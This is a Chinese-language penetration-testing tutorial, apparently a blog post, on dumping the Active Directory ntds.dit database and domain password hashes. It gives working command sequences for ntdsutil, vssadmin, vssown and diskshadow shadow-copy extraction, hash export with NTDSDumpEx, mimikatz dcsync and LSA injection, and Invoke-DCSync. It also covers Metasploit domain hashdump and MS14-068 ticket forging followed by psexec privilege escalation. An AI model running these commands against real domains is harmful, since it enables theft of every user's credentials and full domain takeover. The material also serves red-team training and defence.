前言通常情况下,即使拥有管理员权限,也无法读取域控制器中的C:\windows\NTDS\ntds.dit文件(活动目录始终访问这个文件)。使用windows本地卷影拷贝服务,就可以获得文件的副本。
使用卷影拷贝服务提取ntds.dit在活动目录中,所有的数据都保存在ntds.dit文件中。ntds.dit是一个二进制文件,储存位置为域控制器的%SystemRoot%\ntds\ntds.dit。ntds.dit中包含(但不限于)用户名,散列值,组,GPP,OU等与活动目录相关的信息。它和SAM文件一样,是被Windows操作系统锁定的。
使用ntdsutil.exe提取ntds.dit ntdsutil.exe是一个为活动目录提供管理机制的命令行工具。使用ntdsutil.exe,可以维护和管理活动目录数据库,控制单个主机操作,创建引用程序目录分区,删除由未使用活动目录安装向导成功降级的域控制器留下的元数据等。该工具默认安装在域控制器上,可以在域控制器上直接操作,也可以通过域内机器在域控制器上远程操作。ntdsutil.exe支持的操作系统由windows server2003,windows server 2008,windwos server 2012。
在域控制器的命令行环境中输入如下命令,创建快照。
1 ntdsutil snapshot "activate instance ntds" create quit quit
BASH
image-20240107171533778
可以看到创建了一个GUID为0c5ecd15-d722-41fa-9e0a-424c4d19ac64的快照
加载刚刚的快照
1 ntdsutil snapshot "mount {0c5ecd15-d722-41fa-9e0a-424c4d19ac64}" quite quite
BASH
image-20240107171646050 使用如下命令将文件复制出来
1 copy C:\$SNAP_202106071917_VOLUMEC$\windows\ntds\ntds.dit c:\temp\ntds.dit
BASH
image-20240107171654449 输入如下命令将之前加载的快照卸载并删除
1 ntdsutil snapshot "unmount {0c5ecd15-d722-41fa-9e0a-424c4d19ac64}" "delete {0c5ecd15-d722-41fa-9e0a-424c4d19ac64}" quite quite
BASH
image-20240107171703160
查看当前系统中的所有快照
1 ntdsutil snapshot "List All" quite quite
BASH
image-20240107171710594 之前创的没有删除所以有这么多
利用vssadmin提取ntds,dit vssadmin是windows server 2008 及windows 7提供的vss管理工具,可用于创建和删除卷影拷贝,列出卷影拷贝的信息(只能管理系统provider创建的卷影拷贝),显示已安装的所有卷影拷贝写入程序(writers)和提供程序(providers),以及改变卷影拷贝的储存空间。
创建一个c盘卷影
1 vssadmin create shadow /for=c:
BASH
image-20240107171950663
在创建的卷影拷贝中将ntds.dit复制出来。
1 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\windows\NTDS\ntds.dit c:\ntds.dit
BASH
image-20240107171957880 删除卷影
1 vssadmin delete shadows /for=c: /quiet
BASH
image-20240107172032840
1 2 3 4 5 6 7 8 cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete {GUID}
BASH
image-20240107172041493 image-20240107172108749 然后可以通过copy命令将其复制出来
1 copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\windows\NTDS\ntds.dit c:\ntds.dit
BASH
使用ntdsutil的IFM创建卷影拷贝 在域控制器中以管理员模式打开命令行环境,输入如下命令
1 ntdsutil "ac i ntds" "ifm" "create full c:/test" q q
BASH
image-20240107172139085 image-20240107172146934 将其拖到本地后删除
image-20240107172223341
使用diskshadow导出ntds.dit 在渗透测试中可以使用diskshadow.exe来执行命令。例如将需要执行的命令”exec c:\windows\system32\calc.exe” 写入C盘目录下的command.txt文件1 diskshadow /s c:\command.txt
BASH
使用diskshadow.exe也可以用来导出ntds.dit。将如下命令写入一个文本文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 set context persistent nowriters add volume c: alias someAlias create expose %someAlias% k:exec "cmd.exe" /c copy k:\Windows\NTDS\ntds.dit c:\ntds.dit delete shadows all list shadows all resetexit diskshadow /s c:\Users\de1ay\Desktop\command.txt reg save hklm\system c:\system.hive
BASH
image-20240107172240939 成功导出
导出ntds.dit中散列值
1 esedbexport -m tables ntds.dit
BASH
image-20240107172252334
2.导出散列值
ntdsxtract
impacket-secretsdump
1 .\NTDSDumpEx.exe -d ntds.dit -s .\system.hive
BASH
image-20240107172307879
利用dcsync获取域散列值
使用mimikatz转储域散列值 以域管理员权限打开命令行环境,运行mimikatz。输入如下命令,使用mimikatz导出域内的所有用户及散列值
1 lsadump::dcsync /domain:de1ay.com /all /csv
BASH
image-20240107172430351
使用mimikatz的dcsync功能也可以导出指定用户的散列值
1 lsadump::dcsync /domain:de1ay.com /user:de1ay
BASH
image-20240107172442051 也可以直接在域控制器中运行Mimikatz,通过转储lsass.exe进程对散列值进行Dump操作
1 2 privilege::debug lsadump::lsa /inject
BASH
image-20240107172451207
使用dcsync获取账号和域散列值 Invoke-DCSync.ps1可以利用dcsync直接读取ntds.dit,以获取域账号和域散列值
1 Invoke-DCSync -PWDumpFormat
BASH
image-20240107172507284
项目地址:https://gist.github.com/monoxgas/9d238accd969550136db#file-invoke-dcsync-ps1
使用msf获取域散列值
1 use windows/gather/credentials/domain_hashdump
BASH
就会导出域中的全部hash值
1 use auxiliary/admin/kerberos/ms14_068_kerberos_checksum
BASH
image-20240107172516032
接下来进行格式转换,msf不支持bin文件导出,所以要用mimikatz文件进行格式转换.在mimikatz输入命令,导出kirbi格式文件
1 kerberos::clist "20210609221820_default_192.168.43.16_windows.kerberos_125881.bin" /export
BASH
image-20240107172524015 比如现在有一个低权限shellimage-20240107172531778 输入 load kiwi 命令,然后输入”kerberos_ticket_use /root/0-00000000-de1ay@krbtgt-DE1AY.COM.kirbi “命令,将票据导入,接着输入 background命令,切换到meterpreter后台,使用高票据进行测试
1 2 3 4 use exploit/windows/local/current_user_psexecset technique pshset rhosts DC.de1ay.comset session 1
BASH
就会得到高权限